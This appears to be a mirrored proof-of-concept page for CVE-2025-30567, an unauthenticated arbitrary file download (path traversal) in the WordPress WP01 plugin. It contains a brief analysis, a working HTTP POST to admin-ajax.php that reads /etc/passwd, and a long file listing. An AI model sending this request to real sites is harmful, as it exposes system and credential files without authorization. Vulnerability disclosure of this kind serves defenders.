Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-30567 PoC — WordPress plugin WP01 路径遍历漏洞

Source
Associated Vulnerability
Title:WordPress plugin WP01 路径遍历漏洞 (CVE-2025-30567)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin WP01 2.6.2及之前版本存在路径遍历漏洞,该漏洞源于路径遍历。
Description
Unauthorized Arbitrary File Download in WordPress WP01
Readme
## Introduction

Unauthorized Arbitrary File Download in WordPress WP01!

## Environment setup

Step 1: Download the WP01 Plugin,But...

![alt text](resources/1.png)

Haha, don't worry, here is the source code of the plugin.

Step 2: Package the provided wp01 folder and upload it to the WordPress plugins section.like this-->

![alt text](resources/2.png)

## Analysis

It's simple—the vulnerability is triggered at the following point:

![alt text](resources/3.png)

Next, check where the make_archive method is called.

![alt text](resources/4.png)

Two AJAX action hooks are present—one for logged-in users and another for non-logged-in users. This is the reason for the unauthorized access vulnerability.

Alright, now let's craft the payload to read the contents of /etc/passwd on the local machine.

```
POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive HTTP/1.1
Host: 192.168.43.133
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=8b29e9ec5200189ba7e72e98d4c6d017; WS_ADMIN_URL=ws://192.168.43.133/notice; WS_CHAT_URL=ws://192.168.43.133/msg; wordpress_test_cookie=WP%20Cookie%20check; XDEBUG_SESSION=PHPSTORM; wp01-lang=en; wp_lang=en_US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

target=passwd&path=/etc/
```

results:

![alt text](resources/5.png)

![alt text](resources/6.png)

OK, next, download this wp-01-passwd.zip file.

![alt text](resources/7.png)

## Poc

Written based on Pocsuite3, see Poc_CVE-2025-30567.py for details.

![alt text](resources/8.png)

## Reference

[CVE-2025-30567](https://nvd.nist.gov/vuln/detail/CVE-2025-30567)
File Snapshot

[4.0K] /data/pocs/0dac0bb36cdf170fae8a2029c96ddd12ae53f9da ├── [2.9K] Poc_CVE-2025-30567.py ├── [1.8K] README.md ├── [4.0K] resources │   ├── [308K] 1.png │   ├── [493K] 2.png │   ├── [248K] 3.png │   ├── [278K] 4.png │   ├── [303K] 5.png │   ├── [335K] 6.png │   ├── [142K] 7.png │   └── [185K] 8.png └── [4.0K] wp01 ├── [4.0K] assets │   ├── [4.0K] css │   │   ├── [ 11K] style.css │   │   ├── [2.3K] style.css.map │   │   └── [ 11K] style.scss │   ├── [4.0K] img │   │   ├── [4.0K] adminer │   │   │   ├── [ 40K] 10.png │   │   │   ├── [ 40K] 11.png │   │   │   ├── [ 39K] 1.png │   │   │   ├── [ 49K] 2.png │   │   │   ├── [ 21K] 3.png │   │   │   ├── [ 27K] 4.png │   │   │   ├── [ 19K] 5.png │   │   │   ├── [4.3K] 6.png │   │   │   ├── [ 11K] 7.png │   │   │   ├── [ 21K] 8.png │   │   │   └── [ 48K] 9.png │   │   ├── [4.0K] backupwordpress │   │   │   ├── [ 22K] 10.png │   │   │   ├── [ 22K] 11.png │   │   │   ├── [ 14K] 12.png │   │   │   ├── [ 26K] 13.png │   │   │   ├── [ 27K] 14.png │   │   │   ├── [ 16K] 1.png │   │   │   ├── [ 27K] 2.png │   │   │   ├── [ 24K] 3.png │   │   │   ├── [ 21K] 4.png │   │   │   ├── [ 13K] 5.png │   │   │   ├── [ 22K] 6.png │   │   │   ├── [ 21K] 7.png │   │   │   ├── [ 14K] 8.png │   │   │   └── [ 13K] 9.png │   │   ├── [4.0K] cpanel │   │   │   ├── [ 14K] 10.png │   │   │   ├── [ 27K] 11.png │   │   │   ├── [ 15K] 12.png │   │   │   ├── [ 27K] 13.png │   │   │   ├── [ 15K] 14.png │   │   │   ├── [ 34K] 1.png │   │   │   ├── [ 25K] 2.png │   │   │   ├── [ 27K] 3.png │   │   │   ├── [ 26K] 4.png │   │   │   ├── [ 27K] 5.png │   │   │   ├── [ 27K] 6.png │   │   │   ├── [ 26K] 7.png │   │   │   ├── [ 33K] 8.png │   │   │   └── [ 19K] 9.png │   │   ├── [4.0K] cpanel2 │   │   │   ├── [ 17K] 1.png │   │   │   ├── [ 37K] 2.png │   │   │   ├── [ 39K] 3.png │   │   │   ├── [ 39K] 4.png │   │   │   ├── [5.8K] 5.png │   │   │   ├── [ 35K] 6.png │   │   │   └── [ 22K] 7.png │   │   ├── [4.0K] cpanel3 │   │   │   ├── [ 33K] 1.png │   │   │   └── [ 19K] 2.png │   │   ├── [4.0K] directadmin │   │   │   ├── [ 21K] 1.png │   │   │   ├── [ 23K] 2.png │   │   │   ├── [5.1K] 3.png │   │   │   ├── [ 18K] 4.png │   │   │   └── [ 14K] 5.png │   │   ├── [4.0K] directadmin2 │   │   │   ├── [ 18K] 1.png │   │   │   ├── [ 25K] 2.png │   │   │   ├── [ 27K] 3.png │   │   │   ├── [ 29K] 4.png │   │   │   ├── [ 23K] 5.png │   │   │   ├── [ 13K] 6.png │   │   │   ├── [6.6K] 7.png │   │   │   └── [ 27K] 8.png │   │   ├── [4.0K] directadmin3 │   │   │   ├── [ 20K] 1.png │   │   │   └── [ 13K] 2.png │   │   ├── [4.0K] duplicator │   │   │   ├── [ 13K] 10.png │   │   │   ├── [ 15K] 11.png │   │   │   ├── [7.8K] 12.png │   │   │   ├── [ 16K] 13.png │   │   │   ├── [ 20K] 14.png │   │   │   ├── [ 14K] 15.png │   │   │   ├── [ 16K] 1.png │   │   │   ├── [ 31K] 2.png │   │   │   ├── [ 32K] 3.png │   │   │   ├── [ 21K] 4.png │   │   │   ├── [ 15K] 5.png │   │   │   ├── [ 11K] 6.png │   │   │   ├── [ 30K] 7.png │   │   │   ├── [ 21K] 8.png │   │   │   └── [ 12K] 9.png │   │   ├── [4.0K] ftp │   │   │   ├── [ 49K] 0.png │   │   │   ├── [ 25K] 1.png │   │   │   ├── [ 36K] 2.png │   │   │   ├── [ 31K] 3.png │   │   │   ├── [ 70K] 4.png │   │   │   └── [4.3K] 5.png │   │   ├── [4.0K] icons │   │   │   ├── [4.0K] 3 │   │   │   │   ├── [3.7K] a3-lazy-load_m.jpg │   │   │   │   ├── [3.0K] advanced-cron-manager_m.jpg │   │   │   │   ├── [ 688] advanced-db-cleaner_s.jpg │   │   │   │   ├── [ 542] artiss-transient-cleaner_s.jpg │   │   │   │   ├── [3.2K] async-javascript_m.jpg │   │   │   │   ├── [3.1K] autoptimize_m.jpg │   │   │   │   ├── [ 469] better-resource-hints_s.jpg │   │   │   │   ├── [ 687] bj-lazy-load_s.jpg │   │   │   │   ├── [ 606] cache-enabler_s.jpg │   │   │   │   ├── [ 640] clearfy_s.jpg │   │   │   │   ├── [1.9K] css-js-manager_m.jpg │   │   │   │   ├── [ 696] css-js-manager_s.jpg │   │   │   │   ├── [1.9K] db-cache-reloaded-fix_m.jpg │   │   │   │   ├── [ 431] delete-expired-transients_s.jpg │   │   │   │   ├── [2.8K] disqus-conditional-load_m.jpg │   │   │   │   ├── [ 571] embed-google-fonts_s.jpg │   │   │   │   ├── [ 546] ewww-image-optimizer_s.jpg │   │   │   │   ├── [ 650] fast-velocity-minify_s.jpg │   │   │   │   ├── [3.7K] gonzales_m.jpg │   │   │   │   ├── [3.0K] heartbeat-control_m.jpg │   │   │   │   ├── [ 593] host-analyticsjs-local_s.jpg │   │   │   │   ├── [2.8K] host-webfonts-local_m.jpg │   │   │   │   ├── [2.8K] http2-push-content_m.jpg │   │   │   │   ├── [ 687] imagify_s.jpg │   │   │   │   ├── [ 546] lazy-load-xt_s.jpg │   │   │   │   ├── [ 577] leira-cron-jobs_s.jpg │   │   │   │   ├── [3.5K] local-google-analytics_m.jpg │   │   │   │   ├── [3.8K] media-cleaner_m.jpg │   │   │   │   ├── [ 529] memory-usage-bar_s.jpg │   │   │   │   ├── [ 477] mobble_s.jpg │   │   │   │   ├── [ 498] nietzsche_s.jpg │   │   │   │   ├── [ 667] optimole-wp_s.jpg │   │   │   │   ├── [ 759] pagespeed-ninja_s.jpg │   │   │   │   ├── [3.0K] plugin-load-filter_m.jpg │   │   │   │   ├── [ 663] plugin-organizer_s.jpg │   │   │   │   ├── [ 680] query-monitor_s.jpg │   │   │   │   ├── [1.1K] remove-jquery-migrate_m.jpg │   │   │   │   ├── [ 513] remove-wp-overhead_s.jpg │   │   │   │   ├── [ 627] rocket-lazy-load_s.jpg │   │   │   │   ├── [ 336] selfhost-google-fonts_s.jpg │   │   │   │   ├── [1.6K] server-ip-memory-usage_m.jpg │   │   │   │   ├── [ 696] shortpixel-image-optimiser_s.jpg │   │   │   │   ├── [ 613] tiny-compress-images_s.jpg │   │   │   │   ├── [3.4K] transients-manager_m.jpg │   │   │   │   ├── [3.5K] true-lazy-analytics_m.jpg │   │   │   │   ├── [2.7K] usagedd_m.jpg │   │   │   │   ├── [ 12K] version-control-for-jquery_m.jpg │   │   │   │   ├── [ 660] w3-total-cache_s.jpg │   │   │   │   ├── [ 511] webp-converter-for-media_s.jpg │   │   │   │   ├── [2.8K] webp-express_m.jpg │   │   │   │   ├── [2.0K] widget-output-cache_m.jpg │   │   │   │   ├── [ 658] wp-asset-clean-up_s.jpg │   │   │   │   ├── [ 504] wp-clean-head_s.jpg │   │   │   │   ├── [ 669] wp-cleanup-optimizer_s.jpg │   │   │   │   ├── [ 703] wp-crontrol_s.jpg │   │   │   │   ├── [ 491] wp-dbmanager_s.jpg │   │   │   │   ├── [ 651] wp-fastest-cache_s.jpg │   │   │   │   ├── [1.5K] wp-head-cleaner_m.jpg │   │   │   │   ├── [ 508] wp-memory_s.jpg │   │   │   │   ├── [ 842] wp-mobile-detect_m.jpg │   │   │   │   ├── [2.8K] wp-optimize_m.jpg │   │   │   │   ├── [ 610] wp-optimize_s.jpg │   │   │   │   ├── [ 434] wps-cleaner_s.jpg │   │   │   │   ├── [3.8K] wp-smush_m.jpg │   │   │   │   └── [2.1K] wp-super-cache_m.jpg │   │   │   ├── [4.0K] 4 │   │   │   │   ├── [ 517] add-link-to-copied-text_s.jpg │   │   │   │   ├── [ 589] advanced-nocaptcha-recaptcha_s.jpg │   │   │   │   ├── [ 507] akismet_s.jpg │   │   │   │   ├── [2.4K] all-in-one-wp-security-and-firewall_m.jpg │   │   │   │   ├── [2.8K] antispam-bee_m.jpg │   │   │   │   ├── [3.7K] antispambot_m.jpg │   │   │   │   ├── [ 721] anti-spam_s.jpg │   │   │   │   ├── [1.5K] append-link-on-copy_m.jpg │   │   │   │   ├── [ 659] better-wp-security_s.jpg │   │   │   │   ├── [ 574] blob-mimes_s.jpg │   │   │   │   ├── [3.3K] cleantalk-spam-protect_m.jpg │   │   │   │   ├── [ 496] copy-link_s.jpg │   │   │   │   ├── [ 622] email-address-encoder_s.jpg │   │   │   │   ├── [ 672] email-encoder-bundle_s.jpg │   │   │   │   ├── [ 613] goodbye-captcha_s.jpg │   │   │   │   ├── [ 577] google-captcha_s.jpg │   │   │   │   ├── [2.5K] gotmls_m.jpg │   │   │   │   ├── [1.9K] http-headers_m.jpg │   │   │   │   ├── [ 682] http-headers_s.jpg │   │   │   │   ├── [ 518] http-security_s.jpg │   │   │   │   ├── [3.1K] kama-spamblock_m.jpg │   │   │   │   ├── [ 576] login-nocaptcha_s.jpg │   │   │   │   ├── [ 498] nietzsche_s.jpg │   │   │   │   ├── [1.6K] no-captcha-recaptcha_m.jpg │   │   │   │   ├── [2.6K] safe-svg_m.jpg │   │   │   │   ├── [ 657] secure-copy-content-protection_s.jpg │   │   │   │   ├── [2.6K] security-headers_m.jpg │   │   │   │   ├── [ 478] security-headers_s.jpg │   │   │   │   ├── [ 538] simple-mail-address-encoder_s.jpg │   │   │   │   ├── [ 726] svg-support_s.jpg │   │   │   │   ├── [3.3K] the-hack-repair-guys-admin-login-notifier_m.jpg │   │   │   │   ├── [ 717] wordfence_s.jpg │   │   │   │   ├── [ 586] wp-cerber_s.jpg │   │   │   │   ├── [ 504] wp-clean-head_s.jpg │   │   │   │   ├── [3.2K] wp-content-copy-protector_m.jpg │   │   │   │   ├── [ 479] wp-copy-content-protection_s.jpg │   │   │   │   ├── [ 430] wp-copyprotect_s.jpg │   │   │   │   ├── [ 708] wp-copy-protect-with-color-design_s.jpg │   │   │   │   ├── [1.5K] wp-head-cleaner_m.jpg │   │   │   │   └── [ 706] zero-spam_s.jpg │   │   │   ├── [4.0K] 5 │   │   │   │   ├── [ 506] 301-redirects_s.jpg │   │   │   │   ├── [ 459] add-any-extension-to-pages_s.jpg │   │   │   │   ├── [ 517] all-in-one-seo-pack_s.jpg │   │   │   │   ├── [ 526] append-extensions-on-pages_s.jpg │   │   │   │   ├── [ 709] autodescription_s.jpg │   │   │   │   ├── [2.4K] broken-link-checker_m.jpg │   │   │   │   ├── [ 453] clearfy_s.jpg │   │   │   │   ├── [ 545] contextual-related-posts_s.jpg │   │   │   │   ├── [1.8K] cyrlitera_m.jpg │   │   │   │   ├── [ 724] cyr-to-lat_s.jpg │   │   │   │   ├── [1021] disable-feeds_m.jpg │   │   │   │   ├── [ 557] easy-broken-link-checker_s.jpg │   │   │   │   ├── [ 466] eps-301-redirects_s.jpg │   │   │   │   ├── [1.7K] google-sitemap-generator_m.jpg │   │   │   │   ├── [ 420] google-sitemap-plugin_s.jpg │   │   │   │   ├── [ 747] intelly-related-posts_s.jpg │   │   │   │   ├── [ 673] link-whisper_s.jpg │   │   │   │   ├── [3.1K] mihdan-no-external-links_m.jpg │   │   │   │   ├── [ 476] no-category-base-wpml_s.jpg │   │   │   │   ├── [ 794] no-external-links_s.jpg │   │   │   │   ├── [2.3K] php-on-pages_m.jpg │   │   │   │   ├── [2.2K] redirection_m.jpg │   │   │   │   ├── [ 628] related-posts-thumbnails_s.jpg │   │   │   │   ├── [1.7K] remove-category-url_m.jpg │   │   │   │   ├── [ 508] rus-to-lat_s.jpg │   │   │   │   ├── [ 621] seo-by-rank-math_s.jpg │   │   │   │   ├── [ 515] seo-redirection_s.jpg │   │   │   │   ├── [ 478] simple-wp-sitemap_s.jpg │   │   │   │   ├── [1.1K] tac_m.jpg │   │   │   │   ├── [ 569] title-and-nofollow-for-links_s.jpg │   │   │   │   ├── [ 554] top-10_s.jpg │   │   │   │   ├── [ 511] wlink-checker_s.jpg │   │   │   │   ├── [1.6K] wordpress-popular-posts_m.jpg │   │   │   │   ├── [3.8K] wordpress-seo_m.jpg │   │   │   │   ├── [ 708] wpa-seo-auto-linker_s.jpg │   │   │   │   ├── [ 633] wp-authenticity-checker-wac_s.jpg │   │   │   │   ├── [ 776] wp-external-links_s.jpg │   │   │   │   ├── [2.0K] wp-internal-linkjuicer_m.jpg │   │   │   │   ├── [ 741] wp-seo_s.jpg │   │   │   │   ├── [ 491] wp-translitera_s.jpg │   │   │   │   ├── [ 591] wp-trending-post-slider-and-widget_s.jpg │   │   │   │   └── [1.4K] yarpp_m.jpg │   │   │   └── [4.0K] 6 │   │   │   ├── [3.2K] code-snippets_m.jpg │   │   │   ├── [ 700] dco-insert-analytics-code_s.jpg │   │   │   ├── [ 661] disable-wordpress-updates_s.jpg │   │   │   ├── [ 586] header-and-footer-scripts_s.jpg │   │   │   ├── [ 487] header-footer_s.jpg │   │   │   ├── [ 736] jetpack_s.jpg │   │   │   ├── [2.0K] luckywp-scripts-control_m.jpg │   │   │   ├── [ 697] my-custom-functions_s.jpg │   │   │   ├── [ 639] stops-core-theme-and-plugin-updates_s.jpg │   │   │   ├── [1.9K] webcraftic-updates-manager_m.jpg │   │   │   ├── [ 683] widget-output-cache_s.jpg │   │   │   ├── [ 648] wordpress-mobile-pack_s.jpg │   │   │   ├── [3.1K] wp-downgrade_m.jpg │   │   │   ├── [2.5K] wp-rollback_m.jpg │   │   │   └── [1.2K] wptouch_m.jpg │   │   ├── [4.0K] isp │   │   │   ├── [ 15K] 1.png │   │   │   ├── [ 31K] 2.png │   │   │   ├── [ 14K] 3.png │   │   │   ├── [ 13K] 4.png │   │   │   ├── [ 16K] 5.png │   │   │   ├── [ 32K] 6.png │   │   │   └── [ 33K] 7.png │   │   ├── [4.0K] isp2 │   │   │   ├── [ 15K] 1.png │   │   │   ├── [ 36K] 2.png │   │   │   └── [ 24K] 3.png │   │   ├── [4.0K] nic │   │   │   ├── [ 19K] 1.png │   │   │   ├── [ 18K] 2.png │   │   │   └── [ 30K] 3.png │   │   ├── [4.0K] phpmyadmin │   │   │   ├── [ 27K] 1.png │   │   │   ├── [ 21K] 2.png │   │   │   ├── [ 30K] 3.png │   │   │   ├── [ 51K] 4.png │   │   │   └── [ 23K] 5.png │   │   ├── [4.0K] reg │   │   │   ├── [ 13K] 1.png │   │   │   ├── [2.3K] 2.png │   │   │   ├── [8.6K] 3.png │   │   │   ├── [ 55K] 4.png │   │   │   ├── [2.0K] 5.png │   │   │   └── [1.9K] 6.png │   │   ├── [4.0K] sypexdumper │   │   │   ├── [ 37K] 10.png │   │   │   ├── [ 49K] 1.png │   │   │   ├── [ 21K] 2.png │   │   │   ├── [ 29K] 3.png │   │   │   ├── [ 23K] 4.png │   │   │   ├── [4.3K] 5.png │   │   │   ├── [ 15K] 6.png │   │   │   ├── [ 21K] 7.png │   │   │   ├── [ 43K] 8.png │   │   │   └── [ 37K] 9.png │   │   └── [4.0K] updraftplus │   │   ├── [4.4K] 10.png │   │   ├── [ 17K] 11.png │   │   ├── [ 21K] 12.png │   │   ├── [ 25K] 13.png │   │   ├── [ 23K] 14.png │   │   ├── [ 16K] 15.png │   │   ├── [8.7K] 16.png │   │   ├── [ 16K] 1.png │   │   ├── [ 27K] 2.png │   │   ├── [ 31K] 3.png │   │   ├── [ 22K] 4.png │   │   ├── [ 32K] 5.png │   │   ├── [ 31K] 6.png │   │   ├── [ 39K] 7.png │   │   ├── [ 31K] 8.png │   │   └── [ 19K] 9.png │   └── [4.0K] js │   ├── [ 13K] main.js │   └── [ 704] notice.js ├── [4.0K] content │   ├── [2.8K] admin-page-nav.php │   ├── [2.8K] admin-page.php │   ├── [4.0K] en │   │   ├── [ 712] head.php │   │   ├── [ 958] notice.php │   │   ├── [1.4K] step-1.php │   │   ├── [ 85K] step-2.php │   │   ├── [120K] step-3.php │   │   ├── [ 60K] step-4.php │   │   ├── [ 31K] step-5.php │   │   ├── [ 16K] step-6.php │   │   └── [3.1K] step-7.php │   ├── [ 0] recovery.pdf │   └── [4.0K] ru │   ├── [ 982] head.php │   ├── [1.2K] notice.php │   ├── [1.9K] step-1.php │   ├── [ 85K] step-2.php │   ├── [137K] step-3.php │   ├── [ 72K] step-4.php │   ├── [ 36K] step-5.php │   ├── [ 19K] step-6.php │   └── [3.8K] step-7.php ├── [4.0K] inc │   ├── [3.8K] class-wp01-content.php │   ├── [8.5K] class-wp01-installer.php │   ├── [ 11K] class-wp01.php │   └── [7.1K] class-wp01-table.php ├── [ 68] index.php ├── [4.0K] languages │   ├── [5.1K] WP01-en_US.mo │   ├── [7.4K] WP01-en_US.po │   ├── [5.6K] WP01.pot │   ├── [6.2K] WP01-ru_RU.mo │   └── [8.8K] WP01-ru_RU.po ├── [6.7K] readme.txt └── [1.0K] wp01.php 33 directories, 344 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.